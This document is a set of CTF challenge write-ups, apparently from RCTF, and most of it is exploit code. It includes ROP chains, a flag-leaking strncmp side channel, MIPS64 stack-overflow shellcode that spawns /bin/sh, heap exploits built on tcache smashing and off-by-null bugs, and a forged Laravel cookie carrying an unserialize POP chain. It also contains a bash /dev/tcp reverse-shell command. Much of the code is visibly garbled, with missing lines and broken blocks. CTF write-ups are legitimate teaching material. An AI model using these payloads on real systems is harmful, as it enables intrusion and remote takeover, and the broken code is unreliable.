        code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00")))
                                                            # mov r1,'/flag'
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1 

        code += p8(instr["mov"])+p8(8)+p8(1)+p8(0)          # mov r1,r0
        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68)      # add r0,0x68
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1   # rdi

        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10)      # add r0,0x10
        code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300)     # add r1,0x300
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1   # rbp

        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x28)      # add r0,0x28
        code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8)      # add r1,0x200
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1   # rsp

        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8)       # add r0,0x8
        code += p8(instr["mov"])+p8(8)+p8(3)+p8(2)          # mov r3,r2
        code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8)   # add r3,offset
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(3)         # mov [r0],r3   # rcx
        # 0x00000000000d3d8a: ret;
        # 0x00000000000a17e0: pop rdi; ret; 
        # 0x00000000001306d9: pop rdx; pop rsi; ret;
        # 0x00000000000439c8: pop rax; ret;
        # 0x00000000000d2975: syscall; ret;
        # 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret;
        # 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall;
        ret = 0x00000000000d3d8a
        p_rdi = 0x00000000000a17e0
        p_rdx_rsi = 0x00000000001306d9
        p_rax = 0x00000000000439c8
        syscall_ret = 0x00000000000d2975

        buf = 0x3ec000
        payload = [

        code += p8(instr["mov"])+p8(8)+p8(0)+p8(1)          # mov r0,r1 

        for value in payload:
            if value < 0x100:
                code += p8(instr["mov"])+p8(1)+p8(1)+p64(value)     # mov r1,value
                code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1
                code += p8(instr["mov"])+p8(8)+p8(3)+p8(2)          # mov r3,r2
                code += p8(instr["add"])+p8(1)+p8(3)+p64(value)     # add r3,offset
                code += p8(instr["mov"])+p8(32)+p8(0)+p8(3)         # mov [r0],r3
            code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8)           # add r0,0x8

        code += p8(instr["alloc"])+p32(0x200)               # alloc(0x200) ; trigger free
        code = push_code(code)

        p.recvuntil("code: ")

        p.recvuntil("code: ")

        flag += chr(int(p.recv(),16))


        # pause()

        if flag[-1] == '}':

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    # elf = ELF("./easy_printf",checksec=False)
    instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14}


The program only allows us to use open, read, exit and exit_group system calls, no write, so we have to find a way to leak the flag

The first thing is that without the write system call, we can’t do the leak, but we can use this gadget to get the libc address we want:

.text:00000000004005E8                 add     [rbp-3Dh], ebx
.text:00000000004005EB                 nop     dword ptr [rax+rax+00h]

rbp and ebx are both controled

We can use the stack pivoting method to migrate the stack to the bss segment, then call __libc_start_main , the bss segment will remain libc address after it. Then use the above gadget, we can arbitrary call

The problem now is how to leak the flag, and one way I give here is to use the strncmp function to compare the flag one by one

The specific ideas are as follows

  • open and read flag into bss segment first.
  • read characters we want to brute force into the end of the BSS segment (0x601FFFF)
  • Then call strncmp(flag,0x601FFFF,2), if we enter the same characters with flag, the program will segment fault and we will received an EOFError , because strncmp is trying to read the contents at 0x602000
  • If the comparison in previous step is incorrect, the program can continue to run


from pwn import *
import string

def ret_csu(func,arg1=0,arg2=0,arg3=0):
    payload = ''
    payload += p64(0)+p64(1)+p64(func)
    payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
    return payload
def main(host,port=2333):
    # global p
    # if host:
        # p = remote(host,port)
    # else:
        # p = process("./no_write")
        # gdb.attach(p,"b* 0x0000000004006E6")
    # 0x0000000000400773 : pop rdi ; ret
    # 0x0000000000400771 : pop rsi ; pop r15 ; ret
    # .text:0000000000400544                 call    cs:__libc_start_main_ptr

    # .text:00000000004005E8                 add     [rbp-3Dh], ebx
    # .text:00000000004005EB                 nop     dword ptr [rax+rax+00h]
    # .text:00000000004005F0                 rep retn
    charset = '}{_'+string.digits+string.letters
    flag = ''
    for i in range(0x30):
        for j in charset:
                p = remote(host,6000)
                pppppp_ret = 0x00000000040076A
                read_got = 0x000000000600FD8
                call_libc_start_main = 0x000000000400544
                p_rdi = 0x0000000000400773
                p_rsi_r15 = 0x0000000000400771
                # 03:0018|  0x601318 -> 0x7f6352629d80 (initial) <-0x0
                offset = 0x267870 #initial - __strncmp_sse42
                readn = 0x0000000004006BF
                leave_tet = 0x00000000040070B
                payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
                payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
                payload = payload.ljust(0x100,'\x00')
                payload = "\x00"*(0x100-0x50)
                payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
                payload = payload.ljust(0x400,'\x00')
                # 0x601318
                payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
                payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
                # 0x00000000000d2975: syscall; ret;
                # 02:0010|            0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0
                offset = 0x31dcb3 # __exit_funcs_lock - syscall
                payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
                payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
                payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
                payload += p64(0)*6
                payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
                payload += p64(0)*6
                payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100)   #read flag
                payload += p64(0)*6
                payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
                # now we can cmp the flag one_by_one
                payload += p64(0)*6 
                payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
                payload += p64(0)*6
                for _ in range(4):
                    payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)

                payload = payload.ljust(0x3f8,'\x00')
                payload += "flag\x00\x00\x00\x00"
                # info(j)
                # p.interactive()
            except EOFError:
                flag += j
                if(j == '}'):
                # pause()
if __name__ == "__main__":
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)


I find this chllenge can getshell after game, but I release hint2 says can’t getshell, I am so sorry about it.

mips64 big endian,not stripped

The logic of the program is not very complicated, it is a simple http server, a stack overflow in the following code:

This sStack4280 variable is the length of our Content-Length plus body length. If we set Content-Length to 4095 and fill in multiple bytes in the body, then sStack4280 will exceed 0x1000 and directly cause stack overflow, here is a poc:

req = """GET /index \r
Connection: no\r
Content-Length: 4095
    req = req.ljust(0xf0,"A")
    # pause()

With this stack overflow, we can hijack the return address of the main function, the program has no PIE, and the data segment can be executed, but the remote environment has ASLR, so we have to bypass the ASLR first.

Since we can stack overflow, the first thing that i think is ROP, but this program doesn’t have many gadgets that can be used, so ROP is not very good, let’s look at the instructions end of main function

we can control ra, s8 and gp,After many attempts, I finally chose to jump here:

we can overwrite the s8 as the address of the data segment, so that we can read our shellcode into data segment, and use the stack overflow in the main function to overwrite the return address as the address of the shellcode :D.


#python exp.py REMOTE= DEBUG
from pwn import *
import sys


def main(host,port=8888):
    global p
    if host:
        p = remote(host,port)
        # p = process(["qemu-mips64","-g","1234","./mginx"])
        p = process(["qemu-mips64","./mginx"])
        # gdb.attach(p)
    req = """GET /index \r
Connection: no\r
Content-Length: 4095
    req = req.ljust(0xf0,"A")
    # pause()
    # pause()
    # orw
    sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c"
    sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c"
    sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"

    # getshell
    # sc =  "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"

    payload = "A"*0xf30
    payload += p64(0x000000012001a250)+p64(0x000000120012400)
    # remain 0x179 byte

    payload += p64(0x1200018c4)+"D"*(0x179-8)
    p.recvuntil("404 Not Found :(",timeout=1)

    # pause()

    req = """GET /index \r
Connection: no\r
Content-Length: 4095
    req = req.ljust(0xf0,"\x00")
    # pause()
    payload = "\x00"*0xa88
    # fix the chunk
    payload += p64(0) + p64(21)
    payload += "\x00"*(0xf40-0xa98)
    # remain 0x179 byte

    payload += p64(0x00000001200134c0)
    payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc))

        p.recvuntil("404 Not Found :(",timeout=1)
        flag = p.recvuntil("}",timeout=1)
        if flag != '' :

if __name__ == "__main__":
    for i in range(200):

get flag!

getshell exp:

from pwn import *
import sys


def main(host,port=8888):
    global p
    if host:
        p = remote(host,port)
        # p = process(["qemu-mips64","-g","1234","./mginx"])
        p = process(["qemu-mips64","./mginx"])
        # gdb.attach(p)

    req = """GET /index \r
Connection: no\r
Content-Length: 4095
    req = req.ljust(0xf0,"A")

    # pause()

    # getshell
    sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40"
    sc +=  "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"

    payload = "A"*0xf30
    payload += p64(0x000000012001a250)+p64(0x000000120012400)
    # remain 0x179 byte

    payload += p64(0x1200018c4)+"D"*(0x179-8)
    p.recvuntil("404 Not Found :(",timeout=1)   

    req = """GET /index \r
Connection: no\r
Content-Length: 4095
    req = req.ljust(0xf0,"\x00")

    payload = "\x00"*0x288
    # argv_ 0x0000000120012800
    argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0)
    argv_ += "sh".ljust(8,'\x00')
    argv_ += "-c".ljust(8,'\x00')
    argv_ += "/bin/sh".ljust(8,'\x00')
    payload += argv_
    payload += "\x00"*(0x800 - len(argv_))
    # fix the chunk
    payload += p64(0) + p64(21)
    payload += "\x00"*(0xf40-0xa98)
    # remain 0x179 byte

    payload += p64(0x00000001200134c0)

    payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc))

        p.recvuntil("404 Not Found :(",timeout=1)
        p.sendline("echo dididididi")
        _ = p.recvuntil("didid",timeout=1)
        if _ != '':

if __name__ == "__main__":
    for i in range(200):
    # main(args['REMOTE'])


Step 1: get enough money

The initial value of money is 0x996, size * 857 > money can not be applied, there is an operation of money += size in the delete function, so

The first thing is to modify the value of the money by multiply overflow.

Step 2: leak libc and heap

The calloc function allocate an MMAP chunk that does not perform a memset clearing operation, and there is a heap overflow in the super_edit(choice 7) function, modify the MMAP flag bit to 1 via the heap overflow to leak the libc and heap address.

Step 3: tcache smashing unlink

Use the off by null in edit function to unlink the chunk, and then use tcache smashing unlink to chain the __malloc_hook into tcache , call super_buy(choice 6) function to overwrite __malloc_hook, trigger calloc to getshell


from pwn import *
import hashlib
import sys,string

local = 1

# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
    # context.log_level = 'debug'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc_debug.so',checksec=False)
one = [0xe237f,0xe2383,0xe2386,0x106ef8]

if local:
    p = process('./note_')

    p = remote("",6004)

def debug(addr=0,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        #print "breakpoint_addr --> " + hex(text_base + 0x202040)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def info(name,addr):
    log.info(name + " --> %s",hex(addr))

def add(idx,size):
    sla("Choice: ",'1')
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def delete(idx):
    sla("Choice: ",'2')
    sla("Index: ",str(idx))

def show(idx):
    sla("Choice: ",'3')
    sla("Index: ",str(idx))

def edit(idx,data):
    sla("Choice: ",'4')
    sla("Index: ",str(idx))
    sla("Message: \n",data)

def super_edit(idx,data):
    sla("Choice: ",'7')
    sla("Index: ",str(idx))
    sda("Message: \n",data)

def get_money():
    sla("Choice: ",'1')
    sla("Index: ",str(0))
    sla("Size: ",'21524788884141834')

def super_buy(data):
    sla("Choice: ",'6')
    sla("name: \n",data)

# get enough money

# leak heap and libc address

add(1,0x600) #now 0x510 in largebin

pay = 0x88*b'\x00' + p64(0x510+1+2)
super_edit(0,pay) # overwrite is_mmap flag 


# libc_base = u64(rc(8)) - 0x1eb010
libc_base = u64(rc(8)) - 0x1e50d0
heap_base = u64(rc(8)) - 0x320 

malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
realloc = libc_base + libc.symbols['realloc']
onegadget = libc_base + one[3]

# fill tcache 0x90
for i in range(5):
# fill tcache 0x60
for i in range(5):

# fill tcache 0x230
for i in range(7):
# set a 0x60 to smallbin 

# null off by one to unlink
target = heap_base + 0x2220 #unlink target
pay = b''
pay += p64(0)
pay += p64(0x231)
pay += p64(target - 0x18)
pay += p64(target - 0x10)
pay += p64(target) #ptr



add(8,0x5f0) # will be freed and consolidate with topchunk
pay = 0x80*b'\x00' + p64(0x230)

delete(8) #unlink

pay = b'a'*0x20 + p64(0) + p64(0x61)
pay += p64(heap_base + 0x2090)
pay += p64(malloc_hook - 0x38)

pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)




step 1 web section

view the html code of home after register,it gives the hint to view file page


namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HomeController extends Controller
     * Create a new controller instance.
     * @return void
    public function __construct()

     * Show the application dashboard.
     * @return \Illuminate\Contracts\Support\Renderable
    public function index()
        return view('home');

    public function file(Request $request)
        $file = $request->get('file');

        if (!empty($file)) {
            if (stripos($file, 'storage') === false) {
                include $file;
        } else {
            return highlight_file('../app/Http/Controllers/HomeController.php', true);

    public static function weak_func($code)
        // try try phpinfo();
        // scandir may help too

use php:// to read compose.json and find the passport which exist unserialize problem.

In config/auth.php we find it active passport for api

and api exists default /api/user

the user function will call vendor/laravel/passport/src/Guards/TokenGuard.php

public function user(Request $request)
    if ($request->bearerToken()) {
        return $this->authenticateViaBearerToken($request);
    } elseif ($request->cookie(Passport::*cookie*())) {
        return $this->authenticateViaCookie($request);

Without giving jwt head, it will try all authenticateViaCookie

protected function authenticateViaCookie($request)
    try {
        $token = $this->decodeJwtTokenCookie($request);
    } catch (Exception $e) {
    if (!Passport:: * $ignoreCsrfToken * && (!$this->validCsrf($token, $request)
            time() >= $token['expiry'])) {
    if ($user = $this->provider->retrieveById($token['sub'])) {
        return $user->withAccessToken(new TransientToken);

decodejwtTokenCookie will call encrypter->decrypt and Passport::$unserializesCookies is true.According to https://github.com/laravel/passport/commit/5b47613083da2c61227f83f86d5d93c678c5d733 , key is APP_KEY

protected function decodeJwtTokenCookie($request)
    return (array)JWT:: * decode * (
        $this->encrypter->decrypt($request->cookie(Passport:: * cookie * ()),
            Passport:: * $unserializesCookies *),
    $this->encrypter->getKey(), ['HS256']

In vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php,this will call unserialize if decrypto is success

public function decrypt($payload, $unserialize = true)
    $payload = $this->getJsonPayload($payload);
    $iv = base64_decode($payload['iv']);
    $decrypted = openssl_decrypt(
        $payload['value'], $this->cipher, $this->key, 0, $iv
    if ($decrypted === false) {
        throw new DecryptException('Could not decrypt the data.');
    return $unserialize ? unserialize($decrypted) : $decrypted;

read .env for APP_KEY

Laravel 5.6.38 exists known unserialize pop chain https://www.anquanke.com/post/id/184541

According to the Pop chain , exploit it by using HomeController::weak_func

import base64
import hmac
# pip install urllib3
# pip install pycrypto
from Crypto import Random
from Crypto.Cipher import AES

def padding(s):
    bs = AES.block_size
    return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)

def unpadding(s):
    return s[:-ord(s[len(s) - 1:])]

def hash_hmac(algo, data, key):
    res = hmac.new(key, data, algo).hexdigest()
    return res

def encrypt(raw, key, iv=None):
    raw = padding(raw)
    if not iv:
        iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return base64.b64encode(cipher.encrypt(raw)), base64.b64encode(iv)

def decrypt(enc, key, iv):
    enc = base64.b64decode(enc)
    iv = base64.b64decode(iv)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpadding(cipher.decrypt(enc)).decode('utf-8')

def gen_laravel_token(data):
    key = base64.b64decode(APP_KEY[7:])
    iv = base64.b64decode("b2NoESUwLJAEO0f0hcR6EA==")
    enc, iv = encrypt(data, key, iv)
    _data = iv + enc
    mac = hash_hmac("sha256", _data, key)
    if isinstance(iv, bytes):
        iv = iv.decode('utf-8')
    if isinstance(enc, bytes):
        enc = enc.decode("utf-8")
    output = {
        "iv": iv,
        "value": enc,
        "mac": mac
    return base64.b64encode(json.dumps(output).encode())

APP_KEY = 'base64:Q2f3qQRCa3aShSORWj++xYOqgiYpTSBVKqJHPq1DSvI='
key = base64.b64decode(APP_KEY[7:])
php_command = 'App\Http\Controllers\HomeController::weak_func'
exp1 = '''O:40:"Illuminate\Broadcasting\PendingBroadcast":2:
cmd = 'phpinfo();'
data = exp1.format(num_php_cmd=len(php_command), php_cmd=php_command,
                   num=len(cmd), cmd=cmd)
laravel_token = gen_laravel_token(data)

Use laravel_token as Cookie to view /api/user

GET /api/user HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

In phpinfo ,we can find my_ext extension


array(26) {
  string(1) "."
  string(2) ".."
  string(13) ".editorconfig"
  string(4) ".env"
  string(12) ".env.example"
  string(14) ".gitattributes"
  string(10) ".gitignore"
  string(10) "Dockerfile"
  string(3) "app"
  string(7) "artisan"
  string(9) "bootstrap"
  string(13) "composer.json"
  string(13) "composer.lock"
  string(6) "config"
  string(8) "database"
  string(12) "package.json"
  string(31) "php-my_ext-so-is-here-go-for-it"
  string(11) "phpunit.xml"
  string(6) "public"
  string(9) "resources"
  string(6) "routes"
  string(10) "server.php"
  string(7) "storage"
  string(5) "tests"
  string(6) "vendor"
  string(14) "webpack.mix.js"
  • We can find system version is ubuntu:18.04 from Dockerfile
  • We can find my_ext.so from php-my_ext-so-is-here-go-for-it
  • Use file page to get my_ext.so to analyse

step 2 pwn section

Because we can execute php code,we firstly analyze function in this extension. We can find customizable function by directly searching function begining with zif in IDA:

Looking into every function and it’s easy to understand code logic.

In backdoor function , if __realloc_hook is equal to a const value ,then we can call system

The bug is in ttt_edit function, strcpy will append \x00 to my_ext_globals.notes[idx] which cause off-by-null bug.

Then we just need to leak libc and arbitrary address allocation by off-by-null.

So a basic exploit as follows:

  • The challenge envirenment is in apache,so we don’t konw how much heap there exists before executing malloc.Therefore, we can malloc more heap to clear the free chunk in arena.
  • The bug is caused by strcpy, so string should not be fill with \x00.We will destroy the chunk ,such as prev_size , when we want to write an correct address.So we need to fix it by strcpy.
  • At last,the system is execute in server computer which is different from the past time, it will not return the result to us.So we need to a reverse shell
    • "bash -c 'bash -i >/dev/tcp/{vps_ip}/{vps_port} 0>&1'"



function unpack64(&$str)
    $pad = str_pad($str, 8, "\\x00", STR_PAD_RIGHT);
    $address = 0;
    for ($i = 7; $i >= 0; $i--) {
        $address |= ord($pad[$i]);
        if ($i != 0)
            $address <<= 8;
    return $address;

function pack64($numb)
    $str = "";
    while ($numb != 0) {
        $str = $str . chr($numb & 0xff);
        $numb >>= 8;
    $str = str_pad($str, 8, "\\x00", STR_PAD_RIGHT);
    return $str;

# help
# ttt_hint();
# clear fengshui
for ($i = 0; $i < 500; $i++)
    ttt_alloc(0, 0x8);
for ($i = 0; $i < 10; $i++)
    ttt_alloc(0, 0xf8);
# exploit
ttt_alloc(0, 0xf8);
ttt_alloc(1, 0x28);
ttt_alloc(2, 0x28);
# tcache
for ($i = 3; $i < 10; $i++)
    ttt_alloc($i, 0xf8);
ttt_alloc(10, 0x18);
ttt_alloc(11, 0xf8);
ttt_alloc(12, 0x20);
# fill in tcache
for ($i = 3; $i < 10; $i++)
# off by null next chunk size
# a fake prev_size
for ($i = 7; $i > 0; $i--) {
    $payload = str_repeat("a", 0x11 + $i);
    ttt_edit($payload, 10);
$payload = str_repeat("a", 0x10) . "\\x80\\x08";
ttt_edit($payload, 10);
# tcache
# unsortedbin
# trigger off by null, chunk overlap
for ($i = 0; $i < 8; $i++)
    ttt_alloc(0, 0xf8);
$a = ttt_show(1);
$leak = unpack64($a);
$libc_base = $leak - 0x3ebca0;
$realloc_hook = $libc_base + 0x3ebc28;
echo "[+] leak address: 0x" . dechex($leak) . "\\n";
echo "[+] libc base: 0x" . dechex($libc_base) . "\\n";
echo "[+] realloc_hook address: 0x" . dechex($realloc_hook) . "\\\\";
# chunk overlap
ttt_alloc(2, 0xf8);
# heap overflow to change tcache->fd
# write arbitrary address
$payload = str_repeat("b", 0x30) . pack64($realloc_hook);
ttt_edit($payload, 2);
for ($i = 7; $i > 0; $i--) {
    $payload = str_repeat("c", 0x28 + $i);
    ttt_edit($payload, 2);
# chunk size
$payload = str_repeat("c", 0x28) . "\\x31";
ttt_edit($payload, 2);
# clear chunk prev_size
for ($i = 7; $i >= 0; $i--) {
    $payload = str_repeat("d", 0x20 + $i);
    ttt_edit($payload, 2);
# backdoor
ttt_alloc(3, 0x28);
ttt_alloc(4, 0x28);
$payload = "tttpwnit";
ttt_edit($payload, 4);
# reverse shell
$cmd = "bash -c 'bash -i >/dev/tcp/ 0>&1'";
ttt_edit($cmd, 2);
die("pwn it\\\\n");


This challenge is inspired by gomium from google ctf 2019 finals.



file, err := parser.ParseFile(token.NewFileSet(), filename, nil, parser.AllErrors)
if err != nil {
    return nil, errors.New("Syntax error")
if len(file.Imports) > 0 {
    return nil, errors.New("Imports are not allowed")

// go build -buildmode=pie and run for 1s...


The challenge receives a Go source code without any imports. You can see Stalkr’s Golang data races to break memory safety for more detailed analysis.

See the full exploit here.


My Switch Game

Develop a console-based snake game on switch. Playing game with switch controller which BT traffic is relayed by a script running on ubuntu. In order to solve it, you should do reserve engineering on game’s .nro file and analysis the traffic. And the source code of snake game is based on https://github.com/CompSciOrBust/Cpp-Snake-NX/

Attachment: snake.nro log.log

Description: Relay bt traffic and capture by https://github.com/mart1nro/joycontrol/blob/master/scripts/relay_joycon.py

Flag: RCTF{ddzljsqpaw6h31an5tgeaz75t0}

For the references and details, please view https://github.com/Littlefisher619/MyCTFChallenges/edit/master/CTFChallengeSwitch


  1. ### Reserve engineering(IDAPython plugin:nxo64/SwitchIDAProLoader):
  • Flag is generated by random number and the seed is determined by nTail*4 + dir - 1

    We can found an encrypted array that including flag’s format. To decrypt, xor with 0x44.

    flag[:5] and flag[-1] is RCTF{}, other chars on flag is generated char by char with the seed above: flagchar = flagalphabet[rand() % strlen(flagalphabet)]

    By the way, the generation of the coordinate of the next score is ahead of the generation of flagchar.

    fruitX = rand() % width;
    fruitY = rand() % height;

  • In log.log, we can found there are some RUMBLE_DATA packets in output reports. After filtering, there are 32 rumble packets in total that corresponds to flag’s length. So we can assume that when the snake scores a point, vibration packet was sent to Switch Pro Controller.

    We can also validate the assumption by reserve engineering.

  • The snake is controlled by Direction Keys on the Controller.

  • Get the random number generation algorithm whose implement is depends on the complier.

    unsigned __int64 rand()
    __int64 v0; // x0
    unsigned __int64 v1; // x1

    v0 = sub_710007F0A0();
    v1 = 6364136223846793005LL * *(_QWORD *)(v0 + 232) + 1;
    *(_QWORD *)(v0 + 232) = v1;
    return (v1 >> 32) & 0x7FFFFFFF;


    We also can emulate running environment and use emulator to generate random numbers with the seed we assigned. The solution we provided was chose this method.

  1. ### Building Environment
  • Emulators: YuzuRyujinx
    • Development: https://switchbrew.org/wiki/Setting_up_Development_Environment
  1. Analysis the log file

    We can make use of this script and do some modification:


    According to the time when the Switch Pro Controller receive the rumble packet to find the last direction before the snake scores. And then seed can be calculated. We can print all the seeds we got.

    import argparse
    import struct
    from joycontrol.report import InputReport, OutputReport, SubCommand
    import math
    DIR = {
       0b00001000: ('LEFT', 1),
       0b00000100: ('RIGHT',2),
       0b00000010: ('UP',   3),
       0b00000001: ('DOWN', 4)
    RUMBLE = [4, 180, 1, 78, 4, 180, 1, 78]
    """ joycontrol capture parsing example.
       parse_capture.py <capture_file>
       parse_capture.py -h | --help
    def _eof_read(file, size):
       Raises EOFError if end of file is reached.
       data = file.read(size)
       if not data:
           raise EOFError()
       return data
    def get_rumble_timestamps():
       rumble_timestamps = [i[0] for i in output_reports if i[1].get_rumble_data() == RUMBLE]
       return rumble_timestamps
    def get_dir_inputs():
       dir_inputs = [(i[0], i[1].data[6]) for i in input_reports if i[1].data[6] & 0b00001111 != 0]
       return dir_inputs
    if __name__ == '__main__':
       parser = argparse.ArgumentParser()
       args = parser.parse_args()
       # list of time, report tuples
       input_reports = []
       output_reports = []
       with open(args.capture_file, 'rb') as capture:
               start_time = None
               while True:
                   # parse capture time
                   time = struct.unpack('d', _eof_read(capture, 8))[0]
                   if start_time is None:
                       start_time = time
                   # parse data size
                   size = struct.unpack('i', _eof_read(capture, 4))[0]
                   # parse data
                   data = list(_eof_read(capture, size))
                   if data[0] == 0xA1:
                       report = InputReport(data)
                       # normalise time
                       input_reports.append((time, report))
                   elif data[0] == 0xA2:
                       report = OutputReport(data)
                       # normalise time
                       output_reports.append((time, report))
                       raise ValueError(f'Unexpected data.')
           except EOFError:
       dir_input_list = get_dir_inputs()
       rumble_timestamps = get_rumble_timestamps()
       tailcnt = cursor = 0
       seeds = []
       # The last direction of before snake scoring a point can be found by the timestamp when the rumble packet was sent.
       for timestamp in rumble_timestamps:
           while cursor < len(dir_input_list) and dir_input_list[cursor][0] <= timestamp:
               cursor += 1
           lastdir_before_rumble = dir_input_list[cursor-1][1]
           # In order to get the formula to calculate seed, you should do reserve engineering on game nro file.
           seed = tailcnt*4 + DIR[lastdir_before_rumble][1] - 1
           tailcnt += 1
       print(len(seeds), seeds)
       open('seeds.txt', 'w').write(' '.join(seeds))
       # now plz place seeds.txt to switch emulator's /sdcard folder
       # and then run the rand.nro file you complied just now to generate random numbers
       # You should press a key on your keyboard correspond to 'A' in Pro Controller.
       # At the end, flag will put into flag.txt
       # For Ryujinx, /sdcard can be accessed by clicking Open Ryujinx Folder under the File menu in the GUI.
       #              And key 'Z' on keyboard corresponds to 'A' in Pro Controller.
  2. Emulation & GetFLAG

    There is a great and easy demo to help you develop quickly.


    Write some code to generate random coordinates and flag chars by the given seeds.

    There we get the flag.

    const int width = 77;
    const int height = 41;
    const char* flagalphabet = "0123456789abcdefghijklmnopqrstuvwxyz_";
    const char* flagformat="RCTF{}";
    const int flaglen = 32;
    void solve(){
       FILE *seeds = fopen("seeds.txt", "r"),
            *flag = fopen("flag.txt", "w");
       if(seeds==NULL || flag==NULL){
           puts("failed to open file");
       int seed, x, y, flagchar;
       for(int i=0;i<flaglen;i++){
               x = rand() % width, y = rand() % height;
               if(i < strlen(flagformat) - 1)
                   flagchar = flagformat[i];
               else if(i == flaglen - 1)
                   flagchar = flagformat[strlen(flagformat) - 1];
               else flagchar = flagalphabet[rand() % strlen(flagalphabet)];
           }else x=-1, y=-1, flagchar = flagformat[0];
           printf("[Seed=%d] (%d, %d) %c\n", seed, x, y, flagchar);
           fputc(flagchar, flag);


mips64 big endian,not stripped

Understand the logic of the program, write the correct decryption function

The initial value of key comes from the rand() function, you need to brute force the key


from struct import pack, unpack

def ROR(x,r):
    return (x>>r)|((x<<(64-r))&0xffffffffffffffff)
def ROL(x,r):
    return (x>>(64-r))|((x<<r)&0xffffffffffffffff)
def R(x,y,k):
    x = ROR(x,8)
    x = (x+y)&0xffffffffffffffff
    y = ROL(y,3)
    return x,y
def RI(x,y,k):
    y = ROR(y,3)
    x = (x-y)&0xffffffffffffffff
    x = ROL(x,8)
    return x,y

